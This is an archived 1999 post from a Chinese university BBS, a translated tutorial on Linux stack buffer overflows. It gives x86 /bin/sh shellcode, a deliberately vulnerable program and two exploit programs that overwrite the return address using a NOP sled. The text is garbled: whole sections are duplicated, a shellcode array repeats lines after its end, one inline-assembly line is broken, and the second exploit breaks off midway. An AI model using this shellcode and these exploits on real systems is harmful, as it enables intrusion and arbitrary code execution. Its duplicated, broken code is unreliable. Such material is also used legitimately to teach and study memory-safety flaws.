📄 00000003.htm
字号:
<HTML><HEAD> <TITLE>BBS水木清华站∶精华区</TITLE></HEAD><BODY><CENTER><H1>BBS水木清华站∶精华区</H1></CENTER>发信人: yyh (阿欢&2000年终于快到了), 信区: Linux <BR>标 题: isbase技术指南(一)-缓冲溢出, <BR>发信站: BBS 水木清华站 (Sun Dec 12 22:08:30 1999) <BR> <BR>标 题: isbase技术指南(一) <BR>-------------[ 绪论 <BR>在这份指南中,我们将讨论什么是缓冲溢出和怎么样去使用它.你必须了解C语 <BR>言和汇编语言,如果熟悉GDB的话更加好,当然这不是很必要的。 <BR>-------------[ 存储器结构 <BR>(Memory organization)存储器分为3个部分 <BR>1. 文本区域(程序区) <BR>这个部分是用来存储程序指令的.所以,这个区域被标示为只读,任何写的 <BR>操作都将导致错误. <BR>2. 数据区域 <BR>这个部分存储静态变量,它的大小可以由brk()系统调用来改变. <BR>3. 堆栈 <BR>堆栈有个特殊的属性,就是最新放置在它里面的,都将是第一个被移出堆 <BR>-------------[ 绪论 <BR>在这份指南中,我们将讨论什么是缓冲溢出和怎么样去使用它.你必须了解C语 <BR>言和汇编语言,如果熟悉GDB的话更加好,当然这不是很必要的。 <BR>-------------[ 存储器结构 <BR>(Memory organization)存储器分为3个部分 <BR>1. 文本区域(程序区) <BR>这个部分是用来存储程序指令的.所以,这个区域被标示为只读,任何写的 <BR>操作都将导致错误. <BR>2. 数据区域 <BR>这个部分存储静态变量,它的大小可以由brk()系统调用来改变. <BR>3. 堆栈 <BR>堆栈有个特殊的属性,就是最新放置在它里面的,都将是第一个被移出堆 <BR>栈的。在计算机科学里,这就是通常所指的后进先出(LIFO).堆栈是被设计 <BR>用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程,这 <BR>点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用 <BR>点的,返回地址在过程被调用之前就被设置在堆栈中. <BR>它也被用来动态分配函数中的变量,以及函数的参数和返回值. <BR>-------------[ 返回地址和指令指针 <BR>计算机执行一条指令,并保留指向下一条指令的指针(IP).当函数或过程被调用 <BR>的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET). 执行完成后, <BR>RET将会替换IP,程序接着继续执行本来的流程. <BR>-------------[ 一个缓冲溢出 <BR>让我们用一个例子来说明以下缓冲溢出. <BR><++> buffer/example.c <BR>void main(){ <BR>char big_string[100]; <BR>char small_string[50]; <BR>memset(big_string,0x41,100); <BR>/* strcpy(char *to,char *from) */ <BR>strcpy(small_string,big_string);} <BR><--> end of example.c <BR>这个程序用了两个数组, memset() 给数组big_strings加入字符0x41 (= A). <BR>然后它将big_string加到small_string中.很明显,数组small_string不能容纳 <BR>100个字符,因此,溢出产生. <BR>接下来我们看看存储器中的变化情况: <BR>[ big_string ] [ small_string ] [SFP] [RET] <BR>在溢出中,SFP(Stack Frame Pointer)堆栈指针和 RET返回地址都将被A覆盖掉. <BR>这就意味着RET要变为0x41414141(0x41是A十六进制的值). 当函数被返回的时候,指 <BR>令指针(Instruction Pointer)将会被已经复写了的RET替换. 接着,计算机会试着去 <BR>执行在0x41414141处的指令. 这将会导致段冲突,因为这个地址已经超出了处理范围. <BR>--------------------[ 发掘漏洞 <BR>现在我们知道我们可以通过覆盖RET来改变程序的正常流程,我们可以实验一下. <BR>不是用A来覆盖,而是用一些特别的地址来达到我们的目的. <BR>------------[ 任意代码的执行 <BR>现在我们需要一些东西来指向地址并执行. 在大多数情况下,我们需要产生一个 <BR>shell,当然这不是唯一的方法. <BR>Before: <BR>FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF <BR>B = the buffer <BR>E = stack frame pointer <BR>R = return address <BR>F = other data <BR>After: <BR>FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF <BR>S = shellcode <BR>A = address pointing to the shellcode <BR>F = other data <BR>用C来产生shell的代码如下: <BR><++> buffer/shell.c <BR>void main(){ <BR>char *name[2]; <BR>name[0] = "/bin/sh"; <BR>name[1] = 0x0; <BR>execve(name[0], name, 0x0); <BR>exit(0); <BR>} <BR><--> end of shellcode <BR>这里我们就不打算去解释如何去写一个shellcode了,因为它需要很多汇编的 <BR>知识.那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用.对于那 <BR>些想知道如何产生的人来说,可以根据以下的步骤来完成: <BR>- 用 -static flag 开关来编译上面的程序 <BR>- 用GDB来打开上面的程序,然后用"disassemble main" 命令 <BR>- 去掉所有不必要的代码 <BR>- 用汇编来重写它 <BR>- 编译,然后再用GDB打开,用 "disassemble main" 命令 <BR>- 在指令地址使用 x/bx 命令,找回 hex-code. <BR>或者你可以使用这些代码 <BR>char shellcode[]= <BR>"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" <BR>"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" <BR>"\x80\xe8\xdc\xff\xff\xff/bin/sh"; <BR>"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" <BR>"\x80\xe8\xdc\xff\xff\xff/bin/sh"; <BR>------------[ 寻找地址 <BR>当我们尝试去溢出一个程序的缓冲区的时候, 这个程序要寻找这个缓冲区的地址. <BR>这个问题的答案是:对每个程序来说,堆栈都是在同一个地址上开始的.因此,只要知 <BR>道了这个堆栈的地址是在哪里的,我们就可以猜出这个缓冲区的地址了. <BR>下面这个程序会告诉我们这个程序的的堆栈指针: <BR>- 去掉所有不必要的代码 <BR>- 用汇编来重写它 <BR>- 编译,然后再用GDB打开,用 "disassemble main" 命令 <BR>- 在指令地址使用 x/bx 命令,找回 hex-code. <BR>或者你可以使用这些代码 <BR>char shellcode[]= <BR>"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" <BR>"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" <BR>"\x80\xe8\xdc\xff\xff\xff/bin/sh"; <BR>"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" <BR>"\x80\xe8\xdc\xff\xff\xff/bin/sh"; <BR>------------[ 寻找地址 <BR>当我们尝试去溢出一个程序的缓冲区的时候, 这个程序要寻找这个缓冲区的地址. <BR>这个问题的答案是:对每个程序来说,堆栈都是在同一个地址上开始的.因此,只要知 <BR>道了这个堆栈的地址是在哪里的,我们就可以猜出这个缓冲区的地址了. <BR>下面这个程序会告诉我们这个程序的的堆栈指针: <BR><++> buffer/getsp.c <BR>unsigned long get_sp(void){ <BR>__asm__("movl %esp, %eax); <BR>} <BR>void main(){ <BR>fprintf(stdout,"0x%x\n",get_sp()); <BR>} <BR><--> end of getsp.c <BR>------------[试一下下面这个例子 <BR><++> buffer/hole.c <BR>void main(int argc,char **argv[]){ <BR>char buffer[512]; <BR>if (argc > 1) /* otherwise we crash our little program */ <BR>strcpy(buffer,argv[1]); <BR>} <BR><--> end of hole.c <BR><++> buffer/exploit1.c <BR>#include <stdlib.h> <BR>#define DEFAULT_OFFSET 0 <BR>#define DEFAULT_BUFFER_SIZE 512 <BR>char shellcode[] = <BR>"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" <BR>"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" <BR>"\x80\xe8\xdc\xff\xff\xff/bin/sh"; <BR>unsigned long get_sp(void) { <BR>__asm__("movl %esp,%eax"); <BR>} <BR>void main(int argc, char *argv[]) <BR>{ <BR>char *buff, *ptr; <BR>long *addr_ptr, addr; <BR>int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; <BR>int i; <BR>if (argc > 1) bsize = atoi(argv[1]); <BR>if (argc > 2) offset = atoi(argv[2]); <BR>if (!(buff = malloc(bsize))) { <BR>printf("Can't allocate memory.\n"); <BR>exit(0); <BR>} <BR>addr = get_sp() - offset; <BR>printf("Using address: 0x%x\n", addr); <BR>ptr = buff; <BR>addr_ptr = (long *) ptr; <BR>for (i = 0; i < bsize; i+=4) <BR>*(addr_ptr++) = addr; <BR>ptr += 4; <BR>for (i = 0; i < strlen(shellcode); i++) <BR>*(ptr++) = shellcode[i]; <BR>buff[bsize - 1] = '\0'; <BR>memcpy(buff,"BUF=",4); <BR>putenv(buff); <BR>system("/bin/bash"); <BR>} <BR><--> end of exploit1.c <BR>现在我们可以猜出offset (bufferaddress = stackpointer + offset). <BR>[hosts]$ exploit1 600 <BR>Using address: 0xbffff6c3 <BR>[hosts]$ ./hole $BUF <BR>[hosts]$ exploit1 600 100 <BR>Using address: 0xbffffce6 <BR>[hosts]$ ./hole $BUF <BR>segmentation fault <BR>etc. <BR>etc. <BR>就象你所知道的那样,这个过程几乎是不可能发生的, 这样,我们不得不去猜出 <BR>更精确的溢出地址. 为了增加我们的机会, 我们可以在我们的缓冲溢出的shellcode <BR>前加上 NOP(空操作)指令. 因为我们没有必要去猜出它精确的溢出地址来. <BR>而NOP指令用来延迟执行的.如果这个被覆写的返回地址指针在NOP串中,我们的代码 <BR>就可以在下面一步执行了. <BR>存储器的内容应该是这样的: <BR>FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF <BR>N = NOP <BR>S = shellcode <BR>A = address pointing to the shellcode <BR>F = other data <BR>我们把原先的代码改了一下. <BR><++> buffer/exploit2.c <BR>#include <stdlib.h> <BR>#define DEFAULT_OFFSET 0 <BR>#define DEFAULT_BUFFER_SIZE 512 <BR>#define NOP 0x90 <BR>char shellcode[] = <BR>"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" <BR>"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" <BR>"\x80\xe8\xdc\xff\xff\xff/bin/sh"; <BR>unsigned long get_sp(void) { <BR>__asm__("movl %esp,%eax"); <BR>} <BR>void main(int argc, char *argv[]) <BR>{ <BR>char *buff, *ptr; <BR>long *addr_ptr, addr; <BR>int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; <BR>int i; <BR>if (argc > 1) bsize = atoi(argv[1]); <BR>if (argc > 2) offset = atoi(argv[2]); <BR>if (!(buff = malloc(bsize))) { <BR>printf("Can't allocate memory.\n"); <BR>exit(0); <BR>} <BR>addr = get_sp() - offset; <BR>printf("Using address: 0x%x\n", addr); <BR>ptr = buff; <BR>addr_ptr = (long *) ptr; <BR>for (i = 0; i < bsize; i+=4) <BR>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -